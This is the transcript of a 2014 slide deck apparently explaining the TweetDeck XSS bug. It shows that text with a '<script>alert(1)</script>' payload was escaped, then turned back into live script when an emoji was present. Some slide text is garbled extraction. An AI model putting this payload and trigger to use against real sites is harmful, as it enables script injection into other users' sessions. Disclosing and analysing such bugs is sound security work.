Upgrade to Pro — share decks privately, control downloads, hide ads and more …

TweetDeck XSS 20140611

TweetDeck XSS 20140611

TweetDeck XSS 20140611

Yusei Yamanaka

June 12, 2014
Tweet

More Decks by Yusei Yamanaka

Other Decks in Technology

Transcript

  1. transform(text, entities) var text = “<script>alert(1)</script>http://applest.net/”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL

    NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[1], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} "&lt;script&gt;alert(1)&lt;/script&gt;<a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>" "&lt;script&gt;alert(1)&lt;/script&gt;<a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>"
  2. transform(text, entities) var text = “—”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL

    NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “—” "<img class="emoji inline-block” draggable="false" alt=“—"src="/web/assets/emoji//2665.png">"
  3. transform(text, entities) var text = “<script>alert(1)</script>—”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL

    NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “&lt;script&gt;alert(1)&lt;/script&gt;—” "<script>alert(1)</script><img class="emoji inline-block” draggable="false" alt="—" src="/web/assets/emoji//2665.png">"